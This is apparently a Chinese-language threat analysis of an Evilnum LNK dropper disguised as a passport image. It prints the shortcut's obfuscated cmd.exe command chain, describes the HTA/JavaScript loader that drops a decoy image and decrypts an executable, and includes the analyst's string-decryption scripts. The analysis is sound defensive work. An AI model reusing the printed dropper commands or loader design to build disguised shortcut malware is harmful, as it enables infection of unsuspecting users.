Evilnum是2020年七月ESET披露的攻击组织,疑似Evilnum恶意软件背后的APT组织。该组织的目标主要是金融科技公司,目前使用的自编写的恶意软件以及从Golden Chickens购买的工具。
样本分析
样本信息
样本MD5:041cc53c6152bc5ac0ada6fb7cb12bb4
文件名称:DoublesidePassport.jpg.lnk
首次上传:2021-07-12
关联样本:447569bdc77695b455da9c80ebe38e9d
文件名称:DoublesidePassport.jpg.lnk
首次上传:2021-07-19
041cc53c6152bc5ac0ada6fb7cb12bb4
原始样本为lnk文件,但是文件大小为630kb,基本可以说明中包含了数据
原始样本盗用了记事本图标,快捷方式指向的target命令为:
C:\Windows\System32\cmd.exe /c chgport & echo hello & set Oa=%tmp%\test.c& cmd /c “ set Ux=%cd%& echo dEL “%0” ^& mS> “%Oa%mD”& set jeC=vE
但实际上指令被攻击者故意截断了,实际执行的代码如下:
cmd.exe*..\..\..\..\..\..\Windows\System32\cmd.exe/c chgport & echo hello & set Oa=%tmp%\test.c& cmd /c " set Ux=%cd%& echo dEL "%0" ^& mS> "%Oa%mD"& set jeC=vE /y & set tEX=%tmP%\temp*& echo stop & set /p Yf= <"%Oa%md"&netstat -x & echo | set /p l="%Yf%hTa "%2.%1""> "%Oa%Md"& set eym=mO& echo continue & %comspEc% /C "(if not exist "Doub*.*k " (for /d %j in ("%tEX%") do echo break ^& for %h in ("%j\Doub*.*k") do cd "%j") else (hostname)) ^& chcp /? ^& cmd /c " echo do exit ^& %eym%%jeC% "Doub*.*k " "%userproFILE%\img.dat" ^& echo test5 ^& cd %Ux% ^& %Oa%mD dat %userPROfile%\img ^&"""3C:\Program Files\Windows NT\Accessories\wordpad.exe
bat脚本主要是netstat获取了网络信息,释放一个jpg文件打开以迷惑用户,释放并打开用于迷惑用户的诱饵文件如下(同名的jpg文件):
hta脚本分析
LNK文件中包含了一段hta脚本代码
拷贝出来只有代码如下
外层的hta只是一个JavaScript的加载器,直接dump出内层的js代码如下:
去除注释语句之后可以比较清晰的看到脚本其实是定义了一个匿名函数,匿名函数中有定义了其他的功能函数
代码的执行入口在脚本末尾的try catch语句
程序自定义了一个a函数用于解码字符串
解密的字符串信息如下
WScript.Shell
%appdata%
vs_graphics.exe
C:\Users\{user_name}\AppData\Roaming
C:\Users\{user_name}
\Microsoft\VsGraphics\VisualStudio Graphics
C:\Users\{user_name}\AppData\Roaming\Microsoft\VsGraphics\VisualStudio Graphics\Pictures
%appdata%\Wondershare\UniConverter\Videos Backup
C:\Users\{user_name}\AppData\Roaming\Microsoft\VsGraphics\VisualStudio Graphics\vs_graphics.exe
%appdata%\Microsoft\VsGraphics\VisualStudio Graphics\vs_graphics.exe
C:\Users\{user_name}\AppData\Roaming\Microsoft\VsGraphics\VisualStudio Graphics\TextTransforms.exe
WScript.Shell
%appdata%
vs_graphics.exe
C:\Users\{user_name}\AppData\Roaming
C:\Users\{user_name}
\Microsoft\VsGraphics\VisualStudio Graphics
C:\Users\{user_name}\AppData\Roaming\Microsoft\VsGraphics\VisualStudio Graphics\Pictures
%appdata%\Wondershare\UniConverter\Videos Backup
C:\Users\{user_name}\AppData\Roaming\Microsoft\VsGraphics\VisualStudio Graphics\vs_graphics.exe
%appdata%\Microsoft\VsGraphics\VisualStudio Graphics\vs_graphics.exe
C:\Users\{user_name}\AppData\Roaming\Microsoft\VsGraphics\VisualStudio Graphics\TextTransforms.exe
解密脚本
观察脚本的解密函数a以及调用,可以使用一个简单的python脚本将所有加密的字符串提取出来
实现很简单,就是遍历每行字符串查找a(“ 然后截取到”)为止的地方,对a.count进行输出之后,发现每一行中最多出现两个加密字符串,所以多截取一次
if __name__ == '__main__':
with open("shellcode2.txt") as f:
content = f.readlines()
f.close()
for a in content:
if a.find("a(\"") != -1:
#print(a.count("a(\""))
print(a[a.index("a(\"")+3:a.index("\")")])
if a.count("a(\"") > 1:
new_str = a[a.index("\")")+2:]
print(new_str[new_str.index("a(\"")+3:new_str.index("\")")])
这样就可以快速提取出脚本中所有的加密字符串:
保存这部分的字符串到文件中,然后编写一个js脚本,借助样本中的解密方法,读取文件批量解密
脚本中定了一个writeFile方法,用于逐行写入字符串,定义了一个a方法用于解密,解密代码是直接从原始的js脚本中摘抄的,然后读取上面提取出来的base64字符串,逐行传入到解密方法中解密,再写入到新文件中
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.OpenTextFile("all_xbase64_str.txt",1);
var s = "";
var tmp = "";
while (!f.AtEndOfStream)
{
tmp = f.ReadLine()+"\n";
s += tmp;
writeFile("text2.txt",a(tmp));
}
f.Close();
function writeFile(filename,filecontent){
var fso, f, s ;
fso = new ActiveXObject("Scripting.FileSystemObject");
f = fso.OpenTextFile(filename,8,true);
f.WriteLine(filecontent);
f.Close();
}
function a(a) {
var b = WScript.CreateObject("MSXml2.DOMDocument").createElement("Base64Data");
b.dataType = "bin.base64";
b.text = a;
var c = WScript.CreateObject("ADODB.Stream");
c.Type = 1;
c.Open();
c.Write(b.nodeTypedValue);
c.Position = 0;
c.type = 2;
c.CharSet = "us-ascii";
a = c.ReadText;
c.Close();
c = a.length;
b = a.substring(c - 6);
a = a.substring(0, c - 6);
for (var c = "", d = 0; d < a.length; ++d) var e = a.charCodeAt(d),
f = b.charCodeAt(d % b.length),
e = String.fromCharCode(e ^
f),
c = c + e;
return c
}
解出来的效果如下:
最后,将这两个文件组装成字典,然后再去读取原始的脚本文件,遍历每行内容,查找key,若找到则替换为value
if __name__ == "__main__":
#读取抽取出来的加密字符串
with open("all_xbase64_str.txt") as f:
base_content = f.readlines()
f.close()
#读取经过js解密的字符串
with open("text2.txt") as f:
t_content = f.readlines()
f.close()
list_xbase = list()
list_t = list()
#分别将上面两次读取的内容加入list
for a in base_content:
list_xbase.append(a.strip())
for a in t_content:
list_t.append(a.strip())
#组装两个list为dic
dict_all = dict(zip(list_xbase,list_t))
#读取原始脚本
with open("shellcode2.txt") as f:
content = f.readlines()
f.close()
ff =open("shellcode.txt","w")
#遍历原始脚本中的加密字符串并替换为解密之后的
for a in content:
for k in dict_all:
if a.find(k) != -1:
a = a.replace(k,dict_all[k])
print(a)
ff.write(a)
ff.close()
最后再简单的格式化一下即可,解码之后对比如下:
其中有个for循环优点小心机,因为查找逻辑的漏洞,这里没有替换掉,手动替换一下即可
解密之后如下:
现在js代码就很清晰了,可以静态分析,脚本首先是拼接了%appdata%\Microsoft\VsGraphics\VisualStudio Graphics\Pictures 路径,后面会判断当前运行路径中是否包含了wctNVCHIP.tmp,若包含则调用函数N()
若程序名不等于wctNVCHIP.tmp,说明是第一次运行,程序则会调用W函数在当前目录释放并打开DoublesidePassport.jpg(与当前lnk同名)以迷惑用户,同时调用U函数将自身拷贝为wctNVCHIP.tmp,最后删除自身。释放jpg的W函数如下:
U函数将自身拷贝为wctNVCHIP.tmp
此外,程序会尝试调用V函数,在该函数中检索当前计算机的杀软信息:
一切准备就绪,程序则会调用N函数实现恶意功能,代码首先判断Pictures路径是否存在,存在则删除,休眠了一段时间之后,程序尝试读取img.dat文件内容,从文件偏移444222(0x6c73e)的地方截取到末尾,然后传递到ma函数中解密,将解密之后的数据写入到
TextTransforms.exe文件中并将文件拷贝为vs_graphics.exe,最后删除TextTransforms.exe文件
通过winmgmts获取系统的GUID以及版本信息